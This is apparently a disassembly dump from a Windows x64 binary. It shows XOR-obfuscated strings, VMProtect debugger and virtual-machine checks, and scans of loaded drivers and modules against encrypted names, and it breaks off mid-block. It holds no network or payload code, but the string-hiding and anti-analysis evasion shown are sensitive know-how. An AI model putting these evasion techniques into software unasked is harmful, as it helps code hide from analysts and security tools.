xor byte [0x140318352], 0x40
xor byte [0x140318353], 0x41
xor byte [0x140318354], 0x42
xor byte [0x140318355], 0x43
xor byte [0x140318356], 0x44
xor byte [0x140318357], 0x45
xor byte [0x140318358], 0x46
xor byte [0x140318359], 0x47
xor byte [0x14031835a], 0x48
xor byte [0x14031835b], 0x49
xor byte [0x14031835c], 0x4a
xor byte [0x14031835d], 0x4b
xor byte [0x14031835e], 0x4c
xor al, 0x4d
mov byte [0x14031835f], al
movzx eax, byte [0x140317b77]
test al, al
je 0x140114550
xor byte [0x140317b60], 0x36
xor byte [0x140317b61], 0x37
xor byte [0x140317b62], 0x38
xor byte [0x140317b63], 0x39
xor byte [0x140317b64], 0x3a
xor byte [0x140317b65], 0x3b
xor byte [0x140317b66], 0x3c
xor byte [0x140317b67], 0x3d
xor byte [0x140317b68], 0x3e
xor byte [0x140317b69], 0x3f
xor byte [0x140317b6a], 0x40
xor byte [0x140317b6b], 0x41
xor byte [0x140317b6c], 0x42
xor byte [0x140317b6d], 0x43
xor byte [0x140317b6e], 0x44
xor byte [0x140317b6f], 0x45
xor byte [0x140317b70], 0x46
xor byte [0x140317b71], 0x47
xor byte [0x140317b72], 0x48
xor byte [0x140317b73], 0x49
xor byte [0x140317b74], 0x4a
xor byte [0x140317b75], 0x4b
xor byte [0x140317b76], 0x4c
xor al, 0x4d
mov byte [0x140317b77], al
movzx eax, byte [0x14031918f]
test al, al
je 0x140114608
xor byte [0x140319178], 0x36
xor byte [0x140319179], 0x37
xor byte [0x14031917a], 0x38
xor byte [0x14031917b], 0x39
xor byte [0x14031917c], 0x3a
xor byte [0x14031917d], 0x3b
xor byte [0x14031917e], 0x3c
xor byte [0x14031917f], 0x3d
xor byte [0x140319180], 0x3e
xor byte [0x140319181], 0x3f
xor byte [0x140319182], 0x40
xor byte [0x140319183], 0x41
xor byte [0x140319184], 0x42
xor byte [0x140319185], 0x43
xor byte [0x140319186], 0x44
xor byte [0x140319187], 0x45
xor byte [0x140319188], 0x46
xor byte [0x140319189], 0x47
xor byte [0x14031918a], 0x48
xor byte [0x14031918b], 0x49
xor byte [0x14031918c], 0x4a
xor byte [0x14031918d], 0x4b
xor byte [0x14031918e], 0x4c
xor al, 0x4d
mov byte [0x14031918f], al
mov eax, dword [str._VQW:]
mov dword [rbp - 0x30], eax
movzx eax, byte [0x1401eb7fc]
mov byte [rbp - 0x30], WSAGetLastError
xor byte [rbp - 0x2f], 0x37
xor byte [rbp - 0x2e], 0x38
xor byte [rbp - 0x2d], 0x39
xor al, 0x3a
mov byte [rbp - 0x2c], al
lea rcx, [rbp - 0x30]
call qword [sym.imp.VMProtectSDK64.dll_VMProtectBeginUltra]
mov cl, 1
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsDebuggerPresent]
mov cl, 1
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsDebuggerPresent]
mov cl, 1
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsDebuggerPresent]
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsProtected]
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsVirtualMachinePresent]
call fcn.14010de70
lea r8, [rbp + 0xbac0]
mov edx, 0x4000
lea rcx, [rbp + 0x3a70]
call sub.KERNEL32.dll_K32EnumDeviceDrivers
movabs r14, 0x6712badc4b2c74dc
movabs r13, 0x265670dc6c9074dc
test eax, eax
je 0x1401152ce
mov eax, dword [rbp + 0xbac0]
cmp eax, 0x4000
jae 0x1401152ce
mov r15d, eax
shr r15, 3
test r15, r15
je 0x1401152ce
mov r14, r12
movabs rbx, 0x1461dfbf245e04b7
movabs rdi, 0x265602b907f315b4
nop dword [rax]
mov r8d, 0x800
lea rdx, [rbp + 0x2a70]
mov rcx, qword [rbp + r14*8 + 0x3a70]
call sub.KERNEL32.dll_K32GetDeviceDriverBaseNameA
test eax, eax
je 0x1401152b8
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x660], xmm0
mov qword [rbp + 0x670], r12
mov qword [rbp + 0x678], r12
lea rax, [rbp + 0x2a70]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140114720
lea rdx, [rbp + 0x2a70]
lea rcx, [rbp + 0x660]
call fcn.14009dee0
nop
mov qword [rbp + 0x50], rbx
mov qword [rbp + 0x58], rdi
movabs rax, 0x6712badc4b2c74dc
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], r13
vmovdqu xmm0, xmmword [rbp + 0x20]
vpxor xmm1, xmm0, xmmword [rbp + 0x50]
vmovdqu xmmword [rbp + 0x50], xmm1
lea rax, [rbp + 0x50]
mov rdx, 0xffffffffffffffff
inc rdx
cmp byte [rax + rdx], 0
jne 0x140114772
lea rcx, [rbp + 0x660]
cmp qword [rbp + 0x678], 0xf
seta sil
mov rbx, qword [rbp + 0x660]
cmova rcx, rbx
mov qword [rsp + 0x20], rdx
lea r9, [rbp + 0x50]
xor r8d, r8d
mov rdi, qword [rbp + 0x670]
mov rdx, rdi
call fcn.1400e9160
cmp rax, 0xffffffffffffffff
jne 0x140118796
movabs rax, 0x1270df983b580094
mov qword [rbp + 0x60], rax
movabs rax, 0x265670dc6c9074bb
mov qword [rbp + 0x68], rax
movabs rax, 0x6712badc4b2c74dc
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], r13
vmovdqu xmm0, xmmword [rbp + 0x10]
vpxor xmm1, xmm0, xmmword [rbp + 0x60]
vmovdqu xmmword [rbp + 0x60], xmm1
lea rcx, [rbp + 0x60]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140114806
lea rcx, [rbp + 0x660]
test sil, sil
cmovne rcx, rbx
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x60]
xor r8d, r8d
mov rdx, rdi
call fcn.1400e9160
cmp rax, 0xffffffffffffffff
jne 0x140118454
movabs rax, 0x6712badc4b4a04b2
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], r13
movabs rax, 0x6712badc4b2c74dc
mov qword [rbp], rax
mov qword [rbp + 8], r13
vmovdqu xmm0, xmmword [rbp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp]
vmovdqu xmmword [rbp + 0x70], xmm1
lea rcx, [rbp + 0x70]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140114880
lea rcx, [rbp + 0x660]
test sil, sil
cmovne rcx, rbx
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x70]
xor r8d, r8d
mov rdx, rdi
call fcn.1400e9160
cmp rax, 0xffffffffffffffff
jne 0x1401181aa
movabs rax, 0x6712ddbe2f1842a4
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], r13
movabs rax, 0x6712badc4b2c74dc
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], r13
vmovdqu xmm0, xmmword [rbp - 0x40]
vpxor xmm1, xmm0, xmmword [rbp + 0x80]
vmovdqu xmmword [rbp + 0x80], xmm1
lea rcx, [rbp + 0x80]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140114902
lea rcx, [rbp + 0x660]
test sil, sil
cmovne rcx, rbx
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x80]
xor r8d, r8d
mov rdx, rdi
call fcn.1400e9160
cmp rax, 0xffffffffffffffff
jne 0x140117c7b
movabs rax, 0x37bf2b22a581d88
mov qword [rbp + 0x90], rax
movabs rax, 0x265670dc6c9074b9
mov qword [rbp + 0x98], rax
movabs rax, 0x6712badc4b2c74dc
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], r13
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x90]
vmovdqu xmmword [rbp + 0x90], xmm1
lea rcx, [rbp + 0x90]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140114994
lea rcx, [rbp + 0x660]
test sil, sil
cmovne rcx, rbx
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x90]
xor r8d, r8d
mov rdx, rdi
call fcn.1400e9160
cmp rax, 0xffffffffffffffff
jne 0x140117a1d
movabs rax, 0x3856f5ac394d1c8f
mov qword [rbp + 0xa0], rax
movabs rax, 0x265670dc6ce60698
mov qword [rbp + 0xa8], rax
movabs rax, 0x6712badc4b2c74dc
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], r13
vmovdqu xmm0, xmmword [rbp + 0xb0]
vpxor xmm1, xmm0, xmmword [rbp + 0xa0]
vmovdqu xmmword [rbp + 0xa0], xmm1
lea rcx, [rbp + 0xa0]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140114a30
lea rcx, [rbp + 0x660]
test sil, sil
cmovne rcx, rbx
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xa0]
xor r8d, r8d
mov rdx, rdi
call fcn.1400e9160
cmp rax, 0xffffffffffffffff
jne 0x1401177bf
movabs rax, 0x6712bae87d4d10b5
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], r13
movabs rax, 0x6712badc4b2c74dc
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], r13
vmovdqu xmm0, xmmword [rbp + 0xd0]
vpxor xmm1, xmm0, xmmword [rbp + 0xc0]
vmovdqu xmmword [rbp + 0xc0], xmm1
lea rcx, [rbp + 0xc0]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140114ac0
lea rcx, [rbp + 0x660]
test sil, sil
cmovne rcx, rbx
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xc0]
xor r8d, r8d
mov rdx, rdi
call fcn.1400e9160
cmp rax, 0xffffffffffffffff
jne 0x140117561
movabs rax, 0x6712baee784d10b5
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], r13
movabs rax, 0x6712badc4b2c74dc
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], r13
vmovdqu xmm0, xmmword [rbp + 0xe0]
vpxor xmm1, xmm0, xmmword [rbp + 0xf0]
vmovdqu xmmword [rbp + 0xe0], xmm1
lea rcx, [rbp + 0xe0]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140114b50
lea rcx, [rbp + 0x660]
test sil, sil
cmovne rcx, rbx
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xe0]
xor r8d, r8d
mov rdx, rdi
call fcn.1400e9160
cmp rax, 0xffffffffffffffff
jne 0x140117303
movabs rax, 0x6775d8b8324018b3
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], r13
movabs rax, 0x6712badc4b2c74dc
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], r13
vmovdqu xmm0, xmmword [rbp + 0x100]
vpxor xmm1, xmm0, xmmword [rbp + 0x110]
vmovdqu xmmword [rbp + 0x100], xmm1
lea rcx, [rbp + 0x100]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140114be0
lea rcx, [rbp + 0x660]
test sil, sil
cmovne rcx, rbx
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x100]
xor r8d, r8d
mov rdx, rdi
call fcn.1400e9160
cmp rax, 0xffffffffffffffff
jne 0x140117078
movabs rax, 0x5175d8b8324018b3
mov qword [rbp + 0x120], rax
movabs rax, 0x265670dc6c9074e8
mov qword [rbp + 0x128], rax
movabs rax, 0x6712badc4b2c74dc
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], r13
vmovdqu xmm0, xmmword [rbp + 0x120]
vpxor xmm1, xmm0, xmmword [rbp + 0x130]
vmovdqu xmmword [rbp + 0x120], xmm1
lea rcx, [rbp + 0x120]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140114c80
lea rcx, [rbp + 0x660]
test sil, sil
cmovne rcx, rbx
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x120]
xor r8d, r8d
mov rdx, rdi
call fcn.1400e9160
cmp rax, 0xffffffffffffffff
jne 0x140116e1a
movabs rax, 0x677ed6b82f4d1bb0
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], r13
movabs rax, 0x6712badc4b2c74dc
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x158], r13
vmovdqu xmm0, xmmword [rbp + 0x140]
vpxor xmm1, xmm0, xmmword [rbp + 0x150]
vmovdqu xmmword [rbp + 0x140], xmm1
lea rcx, [rbp + 0x140]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140114d10
lea rcx, [rbp + 0x660]
test sil, sil
cmovne rcx, rbx
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x140]
xor r8d, r8d
mov rdx, rdi
call fcn.1400e9160
cmp rax, 0xffffffffffffffff
jne 0x140116ba7
movabs rax, 0x1270dfb83b5800b4
mov qword [rbp + 0x160], rax
movabs rax, 0x265670dc1ef513bb
mov qword [rbp + 0x168], rax
movabs rax, 0x6712badc4b2c74dc
mov qword [rbp + 0x170], rax
mov qword [rbp + 0x178], r13
vmovdqu xmm0, xmmword [rbp + 0x160]
vpxor xmm1, xmm0, xmmword [rbp + 0x170]
vmovdqu xmmword [rbp + 0x160], xmm1
lea rcx, [rbp + 0x160]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140114db0
lea rcx, [rbp + 0x660]
test sil, sil
cmovne rcx, rbx
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x160]
xor r8d, r8d
mov rdx, rdi
call fcn.1400e9160
cmp rax, 0xffffffffffffffff
jne 0x140116900
inc r14
cmp r14, r15
jl 0x1401146d0
movabs r14, 0x6712badc4b2c74dc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r9, [rbp + 0xbac8]
mov r8d, 0x4000
lea rdx, [rbp + 0x7a70]
call sub.KERNEL32.dll_K32EnumProcessModules
test eax, eax
je 0x1401195d4
mov esi, dword [rbp + 0xbac8]
shr rsi, 3
test rsi, rsi
je 0x1401195d4
mov rdi, r12
movabs r15, 0x33cddbe2f1842a4
nop dword [rax + rax]
mov rbx, qword [rbp + rdi*8 + 0x7a70]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x800
lea r8, [rbp + 0x3270]
mov rdx, rbx
mov rcx, rax
call sub.KERNEL32.dll_K32GetModuleBaseNameA
test eax, eax
je 0x1401154db
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x960], xmm0
mov qword [rbp + 0x970], r12
mov qword [rbp + 0x978], r12
lea rax, [rbp + 0x3270]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140115376
lea rdx, [rbp + 0x3270]
lea rcx, [rbp + 0x960]
call fcn.14009dee0
nop
movabs rax, 0x6775d8b8141842a4
mov qword [rbp + 0x4f0], rax
mov qword [rbp + 0x4f8], r13
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x4f0]
vmovdqu xmmword [rbp + 0x4f0], xmm1
lea rcx, [rbp + 0x4f0]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1401153e0
lea rcx, [rbp + 0x960]
cmp qword [rbp + 0x978], 0xf
cmova rcx, qword [rbp + 0x960]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x4f0]
xor r8d, r8d
mov rdx, qword [rbp + 0x970]
call fcn.1400e9160
cmp rax, 0xffffffffffffffff
jne 0x1401190b5
mov qword [rbp + 0x500], r15
movabs rax, 0x265670dc6c9018b0
mov qword [rbp + 0x508], rax
mov qword [rbp + 0x40], r14
mov qword [rbp + 0x48], r13
vmovdqu xmm0, xmmword [rbp + 0x40]
vpxor xmm1, xmm0, xmmword [rbp + 0x500]
vmovdqu xmmword [rbp + 0x500], xmm1
xor r8d, r8d
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x960]
call fcn.1401090f0
cmp rax, 0xffffffffffffffff
jne 0x140118e14
movabs rax, 0x6712ddbe2f1842a4
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], r13
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], r13
vmovdqu xmm0, xmmword [rbp + 0x30]
vpxor xmm1, xmm0, xmmword [rbp + 0x510]
vmovdqu xmmword [rbp + 0x510], xmm1
xor r8d, r8d
lea rdx, [rbp + 0x510]
lea rcx, [rbp + 0x960]
call fcn.1401090f0
cmp rax, 0xffffffffffffffff
jne 0x140118b73
lea rcx, [rbp + 0x960]
call fcn.14009b5e0
inc rdi
cmp rdi, rsi
jl 0x140115320
jmp 0x1401195d4
call fcn.140084d80
movabs rax, 0xb32dfaa2441118e
mov qword [rbp + 0xbc0], rax
movabs rax, 0x67a1cb008f415b3
mov qword [rbp + 0xbc8], rax
movabs rax, 0x306dbbaec5a211be
mov qword [rbp + 0xbd0], rax
movabs rax, 0x9a1e0db4a76601bd
mov qword [rbp + 0xbd8], rax
movabs rax, 0x3799d7b8421318fc
mov qword [rbp + 0xbe0], rax
movabs rax, 0xaa4a1afc208e35fc
mov qword [rbp + 0xbe8], rax
movabs rax, 0x22b4affc456615a8
mov qword [rbp + 0xbf0], rax
movabs rax, 0xfcbdbcf27bc854ae
mov qword [rbp + 0xbf8], rax
movabs r14, 0x6712badc4b2c74dc
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
movabs rsi, 0x5c4ddedcaac474dc
mov qword [rbp - 0x80], rsi
movabs rdi, 0xfd7064dcc40874dc
mov qword [rbp - 0x78], rdi
movabs rax, 0x19ebb2dc237c74dc
mov qword [rbp - 0x70], rax
movabs rax, 0xd92f68dc44e074dc
mov qword [rbp - 0x68], rax
movabs rax, 0x57dbd6dc311474dc
mov qword [rbp - 0x60], rax
movabs rax, 0xfcbdbcdc389874dc
mov qword [rbp - 0x58], rax
vmovdqu xmm0, xmmword [rbp + 0xbc0]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0xbc0], xmm1
vmovdqu xmm2, xmmword [rbp + 0xbd0]
vpxor xmm0, xmm2, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0xbd0], xmm0
vmovdqu xmm1, xmmword [rbp + 0xbe0]
vpxor xmm2, xmm1, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0xbe0], xmm2
vmovdqu xmm0, xmmword [rbp + 0xbf0]
vpxor xmm1, xmm0, xmmword [rbp - 0x60]
vmovdqu xmmword [rbp + 0xbf0], xmm1
lea rdx, [rbp + 0xbc0]
lea rcx, [rbp + 0x7a0]
call fcn.14009b6b0
mov rbx, rax
mov qword [rsp + 0x60], rax
movabs rax, 0x136acef2384b1bb0
mov qword [rbp + 0x370], rax
mov qword [rbp + 0x378], r13
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rbp + 0x370]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x370], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x1b90]
call fcn.14009b130
nop
cmp qword [rbp + 0x1c18], 0
je 0x140116df3
movabs rax, 0x4760d5ae39495487
mov qword [rbp + 0x380], rax
movabs rax, 0x265670dc4cbd5481
mov qword [rbp + 0x388], rax
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rbp + 0x380]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x380], xmm1
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x1b90]
call fcn.14009d640
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140116dd6
lea rcx, [rbp + 0x1b90]
call fcn.140084d40
nop
mov rcx, rbx
call fcn.14009b5e0
nop
lea rcx, [rbp + 0x660]
call fcn.14009b5e0
jmp 0x140117f37
call fcn.140084d80
movabs rax, 0x832dfaa2441118e
mov qword [rbp + 0xc00], rax
movabs rax, 0x126017be08e918b0
mov qword [rbp + 0xc08], rax
movabs rax, 0x393fb1bacfa654f0
mov qword [rbp + 0xc10], rax
movabs rax, 0x941807b2b16918fc
mov qword [rbp + 0xc18], rax
movabs rax, 0x7c8fd3b34f5c13b2
mov qword [rbp + 0xc20], rax
movabs rax, 0xab0f0cb205c05aae
mov qword [rbp + 0xc28], rax
movabs rax, 0x2efba2ae506007b9
mov qword [rbp + 0xc30], rax
movabs rax, 0xfc93ff8c18ea01b3
mov qword [rbp + 0xc38], rax
movabs r14, 0x6712badc4b2c74dc
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
movabs rsi, 0x5c4ddedcaac474dc
mov qword [rbp - 0x80], rsi
movabs rdi, 0xfd7064dcc40874dc
mov qword [rbp - 0x78], rdi
movabs rax, 0x19ebb2dc237c74dc
mov qword [rbp - 0x70], rax
movabs rax, 0xd92f68dc44e074dc
mov qword [rbp - 0x68], rax
movabs rax, 0x57dbd6dc311474dc
mov qword [rbp - 0x60], rax
movabs rax, 0xfcbdbcdc389874dc
mov qword [rbp - 0x58], rax
vmovdqu xmm0, xmmword [rbp + 0xc00]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0xc00], xmm1
vmovdqu xmm2, xmmword [rbp + 0xc10]
vpxor xmm0, xmm2, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0xc10], xmm0
vmovdqu xmm1, xmmword [rbp + 0xc20]
vpxor xmm2, xmm1, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0xc20], xmm2
vmovdqu xmm0, xmmword [rbp + 0xc30]
vpxor xmm1, xmm0, xmmword [rbp - 0x60]
vmovdqu xmmword [rbp + 0xc30], xmm1
lea rdx, [rbp + 0xc00]
lea rcx, [rbp + 0x7c0]
call fcn.14009b6b0
mov rbx, rax
mov qword [rsp + 0x60], rax
movabs rax, 0x136acef2384b1bb0
mov qword [rbp + 0x390], rax
mov qword [rbp + 0x398], r13
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rbp + 0x390]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x390], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x1ca0]
call fcn.14009b130
nop
cmp qword [rbp + 0x1d28], 0
je 0x140117066
movabs rax, 0x4760d5ae39495487
mov qword [rbp + 0x3a0], rax
movabs rax, 0x265670dc4cbd5481
mov qword [rbp + 0x3a8], rax
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rbp + 0x3a0]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x3a0], xmm1
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp + 0x1ca0]
call fcn.14009d640
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140117049
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.14009fab0
lea rdx, [0x14009dbb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x1ca0]
call fcn.140084d40
nop
jmp 0x1401172d1
call fcn.140084d80
movabs rax, 0x832dfaa2441118e
mov qword [rbp + 0xc40], rax
movabs rax, 0x67a17be08e918b0
mov qword [rbp + 0xc48], rax
movabs rax, 0x306dbbaec5a211be
mov qword [rbp + 0xc50], rax
movabs rax, 0x9a1e0db4a76601bd
mov qword [rbp + 0xc58], rax
movabs rax, 0x3799d7b8421318fc
mov qword [rbp + 0xc60], rax
movabs rax, 0xaa4a1afc208e35fc
mov qword [rbp + 0xc68], rax
movabs rax, 0x22b4affc456615a8
mov qword [rbp + 0xc70], rax
movabs rax, 0xfcbdbcf27bc854ae
mov qword [rbp + 0xc78], rax
movabs r14, 0x6712badc4b2c74dc
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
movabs rsi, 0x5c4ddedcaac474dc
mov qword [rbp - 0x80], rsi
movabs rdi, 0xfd7064dcc40874dc
mov qword [rbp - 0x78], rdi
movabs rax, 0x19ebb2dc237c74dc
mov qword [rbp - 0x70], rax
movabs rax, 0xd92f68dc44e074dc
mov qword [rbp - 0x68], rax
movabs rax, 0x57dbd6dc311474dc
mov qword [rbp - 0x60], rax
movabs rax, 0xfcbdbcdc389874dc
mov qword [rbp - 0x58], rax
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0xc40]
vmovdqu xmmword [rbp + 0xc40], xmm1
vmovdqu xmm2, xmmword [rbp + 0xc50]
vpxor xmm0, xmm2, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0xc50], xmm0
vmovdqu xmm1, xmmword [rbp + 0xc60]
vpxor xmm2, xmm1, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0xc60], xmm2
vmovdqu xmm0, xmmword [rbp + 0xc70]
vpxor xmm1, xmm0, xmmword [rbp - 0x60]
vmovdqu xmmword [rbp + 0xc70], xmm1
lea rdx, [rbp + 0xc40]
lea rcx, [rbp + 0x7e0]
call fcn.14009b6b0
mov rbx, rax
mov qword [rsp + 0x60], rax
movabs rax, 0x136acef2384b1bb0
mov qword [rbp + 0x3b0], rax
mov qword [rbp + 0x3b8], r13
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x3b0]
vmovdqu xmmword [rbp + 0x3b0], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp + 0x1db0]
call fcn.14009b130
nop
cmp qword [rbp + 0x1e38], 0
je 0x1401172c4
movabs rax, 0x4760d5ae39495487
mov qword [rbp + 0x3c0], rax
movabs rax, 0x265670dc4cbd5481
mov qword [rbp + 0x3c8], rax
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x3c0]
vmovdqu xmmword [rbp + 0x3c0], xmm1
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x1db0]
call fcn.14009d640
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1401172a7
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.14009fab0
lea rdx, [0x14009dbb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x1db0]
call fcn.140084d40
nop
mov rcx, rbx
call fcn.14009b5e0
nop
mov r8, qword [rbp + 0x678]
cmp r8, 0xf
jbe 0x140117f1e
mov rdx, qword [rbp + 0x660]
lea rcx, [rbp + 0x660]
call fcn.14009d2a0
jmp 0x140117f1e
call fcn.140084d80
movabs rax, 0xe32dfaa2441118e
mov qword [rbp + 0xc80], rax
movabs rax, 0x433450f05ea315b8
mov qword [rbp + 0xc88], rax
movabs rax, 0x292cb2fccfb61bba
mov qword [rbp + 0xc90], rax
movabs rax, 0x915003b2ad6017b2
mov qword [rbp + 0xc98], rax
movabs rax, 0x58cb9cae461815b3
mov qword [rbp + 0xca0], rax
movabs rax, 0xb85b1bb936c010b2
mov qword [rbp + 0xca8], rax
movabs rax, 0x77a9a3b3483400ae
mov qword [rbp + 0xcb0], rax
movabs rax, 0xfcbdbcdc38b6378c
mov qword [rbp + 0xcb8], rax
movabs r14, 0x6712badc4b2c74dc
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
movabs rsi, 0x5c4ddedcaac474dc
mov qword [rbp - 0x80], rsi
movabs rdi, 0xfd7064dcc40874dc
mov qword [rbp - 0x78], rdi
movabs rax, 0x19ebb2dc237c74dc
mov qword [rbp - 0x70], rax
movabs rax, 0xd92f68dc44e074dc
mov qword [rbp - 0x68], rax
movabs rax, 0x57dbd6dc311474dc
mov qword [rbp - 0x60], rax
movabs rax, 0xfcbdbcdc389874dc
mov qword [rbp - 0x58], rax
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0xc80]
vmovdqu xmmword [rbp + 0xc80], xmm1
vmovdqu xmm2, xmmword [rbp + 0xc90]
vpxor xmm0, xmm2, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0xc90], xmm0
vmovdqu xmm1, xmmword [rbp + 0xca0]
vpxor xmm2, xmm1, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0xca0], xmm2
vmovdqu xmm0, xmmword [rbp + 0xcb0]
